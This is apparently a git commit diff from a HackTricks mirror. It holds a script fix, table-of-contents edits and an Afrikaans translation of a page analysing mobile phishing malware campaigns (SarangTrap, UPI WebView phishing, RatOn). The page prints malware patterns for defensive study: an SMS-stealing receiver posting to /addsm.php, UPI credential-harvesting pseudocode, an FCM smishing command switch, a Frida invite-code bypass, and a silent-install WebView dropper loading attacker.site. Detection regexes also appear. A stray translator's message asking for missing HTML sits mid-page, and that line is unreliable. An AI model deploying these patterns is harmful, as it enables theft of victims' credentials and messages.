mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
36832bc91a
commit
d796aab4b3
@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
|
|||||||
logger.addHandler(handler2)
|
logger.addHandler(handler2)
|
||||||
|
|
||||||
|
|
||||||
def findtitle(search ,obj, key, path=(),):
|
def findtitle(search, obj, key, path=()):
|
||||||
# logger.debug(f"Looking for {search} in {path}")
|
# logger.debug(f"Looking for {search} in {path}")
|
||||||
if isinstance(obj, dict) and key in obj and obj[key] == search:
|
if isinstance(obj, dict) and key in obj and obj[key] == search:
|
||||||
return obj, path
|
return obj, path
|
||||||
@ -54,26 +54,42 @@ def ref(matchobj):
|
|||||||
if href.endswith("/"):
|
if href.endswith("/"):
|
||||||
href = href+"README.md" # Fix if ref points to a folder
|
href = href+"README.md" # Fix if ref points to a folder
|
||||||
if "#" in href:
|
if "#" in href:
|
||||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
result = findtitle(href.split("#")[0], book, "source_path")
|
||||||
title = " ".join(href.split("#")[1].split("-")).title()
|
if result is not None:
|
||||||
logger.debug(f'Ref has # using title: {title}')
|
chapter, _path = result
|
||||||
|
title = " ".join(href.split("#")[1].split("-")).title()
|
||||||
|
logger.debug(f'Ref has # using title: {title}')
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
|
||||||
else:
|
else:
|
||||||
chapter, _path = findtitle(href, book, "source_path")
|
result = findtitle(href, book, "source_path")
|
||||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
if result is not None:
|
||||||
title = chapter['name']
|
chapter, _path = result
|
||||||
|
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||||
|
title = chapter['name']
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for path: {href}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
dir = path.dirname(current_chapter['source_path'])
|
dir = path.dirname(current_chapter['source_path'])
|
||||||
rel_path = path.normpath(path.join(dir,href))
|
rel_path = path.normpath(path.join(dir,href))
|
||||||
try:
|
try:
|
||||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||||
if "#" in href:
|
if "#" in href:
|
||||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||||
title = " ".join(href.split("#")[1].split("-")).title()
|
if result is not None:
|
||||||
logger.debug(f'Ref has # using title: {title}')
|
chapter, _path = result
|
||||||
|
title = " ".join(href.split("#")[1].split("-")).title()
|
||||||
|
logger.debug(f'Ref has # using title: {title}')
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
|
||||||
else:
|
else:
|
||||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
|
||||||
title = chapter["name"]
|
if result is not None:
|
||||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
chapter, _path = result
|
||||||
|
title = chapter["name"]
|
||||||
|
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.debug(e)
|
logger.debug(e)
|
||||||
logger.error(f'Error getting chapter title: {rel_path}')
|
logger.error(f'Error getting chapter title: {rel_path}')
|
||||||
|
@ -768,7 +768,7 @@
|
|||||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||||
@ -837,8 +837,9 @@
|
|||||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||||
|
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||||
|
|
||||||
# 🤖 AI
|
# 🤖 AI
|
||||||
- [AI Security](AI/README.md)
|
- [AI Security](AI/README.md)
|
||||||
|
@ -1,67 +1,67 @@
|
|||||||
# Mobiele Phishing & Kwaadwillige App Verspreiding (Android & iOS)
|
# Mobiele Phishing & Kwaadwillige App-verspreiding (Android & iOS)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!INFO]
|
> [!INFO]
|
||||||
> Hierdie bladsy dek tegnieke wat deur bedreigingsakteurs gebruik word om **kwaadwillige Android APK's** en **iOS mobiele konfigurasieprofiele** deur phishing (SEO, sosiale ingenieurswese, vals winkels, dating-apps, ens.) te versprei.
|
> Hierdie bladsy dek tegnieke wat deur bedreigingsakteurs gebruik word om **kwaadwillige Android APKs** en **iOS mobile-configuration profiles** deur phishing (SEO, social engineering, fake stores, dating apps, ens.) te versprei.
|
||||||
> Die materiaal is aangepas van die SarangTrap veldtog wat deur Zimperium zLabs (2025) blootgestel is en ander openbare navorsing.
|
> Die materiaal is aangepas vanaf die SarangTrap campaign exposed by Zimperium zLabs (2025) en ander openbare navorsing.
|
||||||
|
|
||||||
## Aanvalstroom
|
## Aanvalsvloei
|
||||||
|
|
||||||
1. **SEO/Phishing Infrastruktuur**
|
1. **SEO/Phishing-infrastruktuur**
|
||||||
* Registreer dosyne soortgelyke domeine (dating, wolk deel, motor diens…).
|
* Registreer dosyne gelyklike domeine (dating, cloud share, car service…).
|
||||||
– Gebruik plaaslike taal sleutelwoorde en emojis in die `<title>` element om in Google te rangskik.
|
– Gebruik sleutelwoorde in die plaaslike taal en emoji's in die `<title>` element om in Google te rangskik.
|
||||||
– Gasheer *beide* Android (`.apk`) en iOS installasie instruksies op dieselfde landing bladsy.
|
– Host *beide* Android (`.apk`) en iOS installasie-instruksies op dieselfde landingsblad.
|
||||||
2. **Eerste Fase Aflaai**
|
2. **Eerste fase aflaai**
|
||||||
* Android: direkte skakel na 'n *ongetekende* of “derdeparty winkel” APK.
|
* Android: direkte skakel na 'n *unsigned* of “third-party store” APK.
|
||||||
* iOS: `itms-services://` of gewone HTTPS skakel na 'n kwaadwillige **mobileconfig** profiel (sien hieronder).
|
* iOS: `itms-services://` of plain HTTPS-skakel na 'n kwaadwillige **mobileconfig** profile (sien hieronder).
|
||||||
3. **Post-install Sosiale Ingenieurswese**
|
3. **Na-installasie Sosiale Ingenieurswese**
|
||||||
* By die eerste keer wat die app oopgemaak word, vra dit vir 'n **uitnodiging / verifikasiekode** (exclusiewe toegang illusie).
|
* By eerste uitvoering vra die app vir 'n **invitation / verification code** (illusie van eksklusiewe toegang).
|
||||||
* Die kode word **POSTed oor HTTP** na die Command-and-Control (C2).
|
* Die kode word **POSTed over HTTP** na die Command-and-Control (C2).
|
||||||
* C2 antwoord `{"success":true}` ➜ malware gaan voort.
|
* C2 antwoord `{"success":true}` ➜ malware gaat voort.
|
||||||
* Sandbox / AV dinamiese analise wat nooit 'n geldige kode indien nie, sien **geen kwaadwillige gedrag** (ontwyking).
|
* Sandbox / AV dinamiese analise wat nooit 'n geldige kode indien nie, sien **geen malicious behaviour** (evasie).
|
||||||
4. **Runtime Toestemming Misbruik** (Android)
|
4. **Misbruik van Runtime-toestemmings (Android)**
|
||||||
* Gevaarlike toestemmings word slegs aangevra **na positiewe C2 antwoord**:
|
* Gevaarlike toestemmings word slegs versoek **na 'n positiewe C2-antwoord**:
|
||||||
```xml
|
```xml
|
||||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||||
<!-- Ou weergawe het ook vir SMS toestemmings gevra -->
|
<!-- Older builds also asked for SMS permissions -->
|
||||||
```
|
```
|
||||||
* Onlangse variasies **verwyder `<uses-permission>` vir SMS uit `AndroidManifest.xml`** maar laat die Java/Kotlin kodepad wat SMS deur refleksie lees ⇒ verlaag statiese telling terwyl dit steeds funksioneel is op toestelle wat die toestemming via `AppOps` misbruik of ou teikens.
|
* Onlangse variante **verwyder `<uses-permission>` vir SMS uit `AndroidManifest.xml`** maar laat die Java/Kotlin-kodepad wat SMS deur reflection lees, staan ⇒ verlaag die statiese telling terwyl dit steeds funksioneel is op toestelle wat die toestemming gee via `AppOps` misbruik of ou teikens.
|
||||||
5. **Fasade UI & Agtergrond Versameling**
|
5. **Skyn-UI & Agtergrondversameling**
|
||||||
* App wys onskadelike uitsigte (SMS kyker, galery kieser) wat plaaslik geïmplementeer is.
|
* Die app wys onskadelike weergawes (SMS viewer, gallery picker) wat plaaslik geïmplementeer is.
|
||||||
* Intussen eksfiltreer dit:
|
* Intussen exfiltreer dit:
|
||||||
- IMEI / IMSI, telefoonnommer
|
- IMEI / IMSI, phone number
|
||||||
- Volledige `ContactsContract` dump (JSON array)
|
- Volledige `ContactsContract` dump (JSON array)
|
||||||
- JPEG/PNG van `/sdcard/DCIM` gecomprimeer met [Luban](https://github.com/Curzibn/Luban) om grootte te verminder
|
- JPEG/PNG van `/sdcard/DCIM` saamgepers met [Luban](https://github.com/Curzibn/Luban) om grootte te verminder
|
||||||
- Opsionele SMS inhoud (`content://sms`)
|
- Opsionele SMS-inhoud (`content://sms`)
|
||||||
Payloads word **batch-gezipped** en gestuur via `HTTP POST /upload.php`.
|
Payloads word **batch-zipped** en gestuur via `HTTP POST /upload.php`.
|
||||||
6. **iOS Aflewering Tegniek**
|
6. **iOS Afleweringstegniek**
|
||||||
* 'n Enkele **mobile-configuration profiel** kan `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ens. vra om die toestel in “MDM”-agtige toesig in te skryf.
|
* 'n Enkele **mobile-configuration profile** kan `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ens. versoek om die toestel in “MDM”-agtige toesig te registreer.
|
||||||
* Sosiale ingenieurswese instruksies:
|
* Sosiale-ingenieurswese instruksies:
|
||||||
1. Open Instellings ➜ *Profiel afgelaai*.
|
1. Open Settings ➜ *Profile downloaded*.
|
||||||
2. Tik *Installeer* drie keer (skermskote op die phishing bladsy).
|
2. Tap *Install* drie keer (skermskote op die phishing-blad).
|
||||||
3. Vertrou die ongetekende profiel ➜ aanvaller verkry *Kontakte* & *Foto* regte sonder App Store hersiening.
|
3. Trust the unsigned profile ➜ aanvaller verkry *Contacts* & *Photo* entitlement sonder App Store hersiening.
|
||||||
7. **Netwerk Laag**
|
7. **Netwerklaag**
|
||||||
* Gewone HTTP, dikwels op poort 80 met HOST kop soos `api.<phishingdomain>.com`.
|
* Onversleutelde HTTP, dikwels op poort 80 met HOST-header soos `api.<phishingdomain>.com`.
|
||||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (geen TLS → maklik om op te spoor).
|
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (geen TLS → maklik om te bespeur).
|
||||||
|
|
||||||
## Verdedigende Toetsing / Rooi Span Wenke
|
## Verdedigende Toetsing / Red-Team Wenke
|
||||||
|
|
||||||
* **Dinamiese Analise Ontwyking** – Tydens malware evaluasie, outomatiseer die uitnodigingskode fase met Frida/Objection om die kwaadwillige tak te bereik.
|
* **Dynamic Analysis Bypass** – Tydens malware-assessering, outomatiseer die invitation code-fase met Frida/Objection om die kwaadwillige tak te bereik.
|
||||||
* **Manifest vs. Runtime Verskil** – Vergelyk `aapt dump permissions` met runtime `PackageManager#getRequestedPermissions()`; ontbrekende gevaarlike perms is 'n rooi vlag.
|
* **Manifest vs. Runtime Diff** – Vergelyk `aapt dump permissions` met runtime `PackageManager#getRequestedPermissions()`; ontbrekende gevaarlike perms is 'n rooi vlag.
|
||||||
* **Netwerk Kanarie** – Konfigureer `iptables -p tcp --dport 80 -j NFQUEUE` om onsamehangende POST uitbarstings na kode invoer te detecteer.
|
* **Network Canary** – Konfigureer `iptables -p tcp --dport 80 -j NFQUEUE` om skielike POST-burstes na kode-invoer op te spoor.
|
||||||
* **mobileconfig Inspeksie** – Gebruik `security cms -D -i profile.mobileconfig` op macOS om `PayloadContent` te lys en oortollige regte op te spoor.
|
* **mobileconfig Inspection** – Gebruik `security cms -D -i profile.mobileconfig` op macOS om `PayloadContent` te lys en oordrewe entitlements raak te sien.
|
||||||
|
|
||||||
## Blou Span Opsporing Idees
|
## Blue-Team Opsporingsidees
|
||||||
|
|
||||||
* **Sertifikaat Deursigtigheid / DNS Analise** om skielike uitbarstings van sleutelwoord-ryke domeine te vang.
|
* **Certificate Transparency / DNS Analytics** om skielike uitbarstings van sleutelwoordryke domeine vas te vang.
|
||||||
* **User-Agent & Pad Regex**: `(?i)POST\s+/(check|upload)\.php` van Dalvik kliënte buite Google Play.
|
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` van Dalvik-kliente buite Google Play.
|
||||||
* **Uitnodigingskode Telemetrie** – POST van 6–8 syfer numeriese kodes kort nadat APK geïnstalleer is, kan staging aandui.
|
* **Invite-code Telemetry** – POST van 6–8 syfer numeriese kodes kort na APK-installasie kan staging aandui.
|
||||||
* **MobileConfig Ondertekening** – Blokkeer ongetekende konfigurasieprofiele via MDM beleid.
|
* **MobileConfig Signing** – Blokkeer ongetekende konfigurasieprofiele via MDM-beleid.
|
||||||
|
|
||||||
## Nuttige Frida Snippet: Outo-Ontwyking Uitnodigingskode
|
## Nuttige Frida-snipper: Auto-Bypass Invitation Code
|
||||||
```python
|
```python
|
||||||
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
||||||
# Hook HttpURLConnection write to always return success
|
# Hook HttpURLConnection write to always return success
|
||||||
@ -80,7 +80,7 @@ return conn;
|
|||||||
};
|
};
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
## Aanduiders (Generies)
|
## Aanwysers (Generies)
|
||||||
```
|
```
|
||||||
/req/checkCode.php # invite code validation
|
/req/checkCode.php # invite code validation
|
||||||
/upload.php # batched ZIP exfiltration
|
/upload.php # batched ZIP exfiltration
|
||||||
@ -88,30 +88,30 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
|||||||
```
|
```
|
||||||
---
|
---
|
||||||
|
|
||||||
## Android WebView Betaling Phishing (UPI) – Dropper + FCM C2 Patroon
|
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||||
|
|
||||||
Hierdie patroon is waargeneem in veldtogte wat regeringsvoordele tematies misbruik om Indiese UPI-akkredite en OTP's te steel. Operateurs ketting betroubare platforms vir aflewering en veerkragtigheid.
|
Hierdie patroon is waargeneem in veldtogte wat staatsvoordeel‑temas misbruik om Indiese UPI‑bewyse en OTPs te steel. Operateurs skakel betroubare platforms aaneen vir aflewering en veerkragtigheid.
|
||||||
|
|
||||||
### Afleweringsketting oor betroubare platforms
|
### Delivery chain across trusted platforms
|
||||||
- YouTube video lokmiddel → beskrywing bevat 'n kort skakel
|
- YouTube‑video lokmiddel → beskrywing bevat 'n shortlink
|
||||||
- Kortskakel → GitHub Pages phishing-webwerf wat die regte portaal naboots
|
- Shortlink → GitHub Pages phishing site wat die regte portaal naboots
|
||||||
- Dieselfde GitHub-repo huisves 'n APK met 'n vals “Google Play” badge wat direk na die lêer skakel
|
- Dieselfde GitHub repo bied 'n APK aan met 'n vals “Google Play”‑kenteken wat direk na die lêer skakel
|
||||||
- Dinamiese phishing-bladsye leef op Replit; afstandsopdragkanaal gebruik Firebase Cloud Messaging (FCM)
|
- Dinamiese phishing‑bladsye leef op Replit; die afstandbeheerkanaal gebruik Firebase Cloud Messaging (FCM)
|
||||||
|
|
||||||
### Dropper met ingebedde payload en aflyn installasie
|
### Dropper with embedded payload and offline install
|
||||||
- Eerste APK is 'n installeerder (dropper) wat die werklike malware by `assets/app.apk` verskaf en die gebruiker vra om Wi‑Fi/mobiele data te deaktiveer om wolkdetectie te verminder.
|
- Die eerste APK is 'n installer (dropper) wat die werklike malware by `assets/app.apk` lewer en die gebruiker vra om Wi‑Fi/mobiele data af te skakel om cloud detection te verdoof.
|
||||||
- Die ingebedde payload installeer onder 'n onskuldige etiket (bv., “Veilige Opdatering”). Na installasie is beide die installeerder en die payload teenwoordig as aparte toepassings.
|
- Die ingebedde payload installeer onder 'n onskuldige etiket (bv. “Secure Update”). Na installasie is beide die installer en die payload as aparte apps teenwoordig.
|
||||||
|
|
||||||
Statiese triage wenk (grep vir ingebedde payloads):
|
Statiese triage‑wenk (grep vir ingebedde payloads):
|
||||||
```bash
|
```bash
|
||||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||||
# Or:
|
# Or:
|
||||||
zipgrep -i "classes|.apk" sample.apk | head
|
zipgrep -i "classes|.apk" sample.apk | head
|
||||||
```
|
```
|
||||||
### Dinamiese eindpuntontdekking via kortskakel
|
### Dinamiese endpoint-ontdekking via shortlink
|
||||||
- Malware haal 'n plain-text, komma-geskeide lys van lewende eindpunte van 'n kortskakel; eenvoudige stringtransformasies produseer die finale phishing-bladsy-pad.
|
- Malware haal 'n platte teks, komma-geskeide lys van lewende endpoints vanaf 'n shortlink; eenvoudige tekenreeks-transformasies produseer die finale phishing-bladsy-pad.
|
||||||
|
|
||||||
Voorbeeld (gesaniteer):
|
Voorbeeld (gesanitiseer):
|
||||||
```
|
```
|
||||||
GET https://rebrand.ly/dclinkto2
|
GET https://rebrand.ly/dclinkto2
|
||||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||||
@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
|
|||||||
UPI credential POST: https://sqcepo.replit.app/addup.php
|
UPI credential POST: https://sqcepo.replit.app/addup.php
|
||||||
SMS upload: https://sqcepo.replit.app/addsm.php
|
SMS upload: https://sqcepo.replit.app/addsm.php
|
||||||
```
|
```
|
||||||
Pseudo-kode:
|
Pseudokode:
|
||||||
```java
|
```java
|
||||||
String csv = httpGet(shortlink);
|
String csv = httpGet(shortlink);
|
||||||
String[] parts = csv.split(",");
|
String[] parts = csv.split(",");
|
||||||
@ -127,27 +127,27 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
|
|||||||
String smsPost = parts[1];
|
String smsPost = parts[1];
|
||||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||||
```
|
```
|
||||||
### WebView-gebaseerde UPI geloofsbriefinsameling
|
### WebView-based UPI credential harvesting
|
||||||
- Die “Maak betaling van ₹1 / UPI‑Lite” stap laai 'n aanvaller HTML-vorm vanaf die dinamiese eindpunt binne 'n WebView en vang sensitiewe velde (telefoon, bank, UPI PIN) wat `POST` na `addup.php` gestuur word.
|
- Die “Make payment of ₹1 / UPI‑Lite” stap laai die aanvaller se HTML-vorm vanaf die dinamiese eindpunt binne 'n WebView en vang sensitiewe velde (telefoon, bank, UPI PIN) wat as `POST` na `addup.php` gestuur word.
|
||||||
|
|
||||||
Minimal loader:
|
Minimale loader:
|
||||||
```java
|
```java
|
||||||
WebView wv = findViewById(R.id.web);
|
WebView wv = findViewById(R.id.web);
|
||||||
wv.getSettings().setJavaScriptEnabled(true);
|
wv.getSettings().setJavaScriptEnabled(true);
|
||||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||||
```
|
```
|
||||||
### Self-propagasie en SMS/OTP onderskepping
|
### Self-propagation and SMS/OTP interception
|
||||||
- Agressiewe toestemmings word op die eerste uitvoering aangevra:
|
- Agressiewe toestemmings word by die eerste opstart aangevra:
|
||||||
```xml
|
```xml
|
||||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||||
```
|
```
|
||||||
- Kontakte word in 'n lus geplaas om massavereiste smishing SMS vanaf die slagoffer se toestel te stuur.
|
- Die kontakte word deurgegaan om smishing-SMS massaal vanaf die slagoffer se toestel te stuur.
|
||||||
- Inkomende SMS's word deur 'n uitsaaier ontvang en met metadata (afsender, inhoud, SIM-slot, per-toestel ewekansige ID) na `/addsm.php` opgelaai.
|
- Inkomende SMS word deur 'n broadcast receiver onderskep en saam met metadata (sender, body, SIM slot, per-device random ID) na `/addsm.php` opgelaai.
|
||||||
|
|
||||||
Receiver sketch:
|
Ontvanger-skets:
|
||||||
```java
|
```java
|
||||||
public void onReceive(Context c, Intent i){
|
public void onReceive(Context c, Intent i){
|
||||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||||
@ -162,9 +162,9 @@ postForm(urlAddSms, new FormBody.Builder()
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Firebase Cloud Messaging (FCM) as resilient C2
|
### Firebase Cloud Messaging (FCM) as resilient C2
|
||||||
- Die payload registreer by FCM; stootboodskappe dra 'n `_type` veld wat as 'n skakel gebruik word om aksies te aktiveer (bv., werk phishing teks sjablone op, skakel gedrag).
|
- Die payload registreer by FCM; push-boodskappe dra 'n `_type` veld wat as 'n skakelaar gebruik word om aksies te aktiveer (bv. bywerk van phishing-tekssjablone, skakel gedrag aan/af).
|
||||||
|
|
||||||
Example FCM payload:
|
Voorbeeld FCM payload:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"to": "<device_fcm_token>",
|
"to": "<device_fcm_token>",
|
||||||
@ -187,26 +187,176 @@ case "smish": sendSmishToContacts(); break;
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Jagpatrone en IOCs
|
### Jagpatrone en IOCs
|
||||||
- APK bevat sekondêre las op `assets/app.apk`
|
- APK bevat sekondêre payload by `assets/app.apk`
|
||||||
- WebView laai betaling van `gate.htm` en eksfiltreer na `/addup.php`
|
- WebView laai betaling vanaf `gate.htm` en exfiltreer na `/addup.php`
|
||||||
- SMS eksfiltrasie na `/addsm.php`
|
- SMS-exfiltrasie na `/addsm.php`
|
||||||
- Kortskakel-gedrewe konfigurasie opvraging (bv. `rebrand.ly/*`) wat CSV eindpunte teruggee
|
- Shortlink-gedrewe config fetch (bv. `rebrand.ly/*`) wat CSV endpoints teruggee
|
||||||
- Apps geëtiketteer as generiese “Opdatering/Sekere Opdatering”
|
- Apps gemerk as generiese “Update/Secure Update”
|
||||||
- FCM `data` boodskappe met 'n `_type` diskrimineerder in onbetroubare apps
|
- FCM `data` boodskappe met 'n `_type` discriminator in onbetroubare apps
|
||||||
|
|
||||||
### Opsporing & verdediging idees
|
### Opsporing & verdediging idees
|
||||||
- Merk apps wat gebruikers instrueer om netwerk tydens installasie te deaktiveer en dan 'n tweede APK van `assets/` sy-laden.
|
- Merk apps wat gebruikers instrueer om netwerk tydens installasie af te skakel en daarna 'n tweede APK vanaf `assets/` side-load.
|
||||||
- Laat weet oor die toestemming tuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-gebaseerde betalingsvloei.
|
- Waarsku op die toestemmings-tuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-gebaseerde betalingsvloei.
|
||||||
- Egress monitering vir `POST /addup.php|/addsm.php` op nie-korporatiewe gasheer; blokkeer bekende infrastruktuur.
|
- Monitering van uitgaande verkeer vir `POST /addup.php|/addsm.php` op nie-korporatiewe hosts; blokkeer bekende infrastruktuur.
|
||||||
- Mobiele EDR reëls: onbetroubare app wat registreer vir FCM en tak op 'n `_type` veld.
|
- Mobile EDR-reëls: onbetroubare app registreer vir FCM en takke op 'n `_type` veld.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Verwysings
|
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn gevallestudie
|
||||||
|
|
||||||
|
Die RatOn banker/RAT veldtog (ThreatFabric) is 'n konkrete voorbeeld van hoe moderne mobile phishing-operasies WebView droppers, Accessibility-gedrewe UI-automatisering, overlays/ransom, Device Admin-gedwonge, Automated Transfer System (ATS), crypto wallet-oortaking, en selfs NFC-relay orkestrasie kombineer. Hierdie afdeling abstraheer die herbruikbare tegnieke.
|
||||||
|
|
||||||
|
### Fase-1: WebView → native install bridge (dropper)
|
||||||
|
Aanvallers wys 'n WebView wat na 'n aanvalerbladsy wys en injekteer 'n JavaScript-interface wat 'n native installer blootstel. 'n Tik op 'n HTML-knoppie roep native kode aan wat 'n tweede-fase APK geïnstalleer wat in die dropper se assets ingepak is en dit dan direk lanceer.
|
||||||
|
|
||||||
|
Minimale patroon:
|
||||||
|
```java
|
||||||
|
public class DropperActivity extends Activity {
|
||||||
|
@Override protected void onCreate(Bundle b){
|
||||||
|
super.onCreate(b);
|
||||||
|
WebView wv = new WebView(this);
|
||||||
|
wv.getSettings().setJavaScriptEnabled(true);
|
||||||
|
wv.addJavascriptInterface(new Object(){
|
||||||
|
@android.webkit.JavascriptInterface
|
||||||
|
public void installApk(){
|
||||||
|
try {
|
||||||
|
PackageInstaller pi = getPackageManager().getPackageInstaller();
|
||||||
|
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
|
||||||
|
int id = pi.createSession(p);
|
||||||
|
try (PackageInstaller.Session s = pi.openSession(id);
|
||||||
|
InputStream in = getAssets().open("payload.apk");
|
||||||
|
OutputStream out = s.openWrite("base.apk", 0, -1)){
|
||||||
|
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
|
||||||
|
}
|
||||||
|
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
|
||||||
|
pi.commit(id, status.getIntentSender());
|
||||||
|
} catch (Exception e) { /* log */ }
|
||||||
|
}
|
||||||
|
}, "bridge");
|
||||||
|
setContentView(wv);
|
||||||
|
wv.loadUrl("https://attacker.site/install.html");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Ek het nie die HTML-inhoud van die bladsy ontvang nie. Plak asseblief die HTML/markdown-inhoud wat jy wil hê ek moet vertaal, en ek sal dit na Afrikaans vertaal volgens die gegewe reëls.
|
||||||
|
```html
|
||||||
|
<button onclick="bridge.installApk()">Install</button>
|
||||||
|
```
|
||||||
|
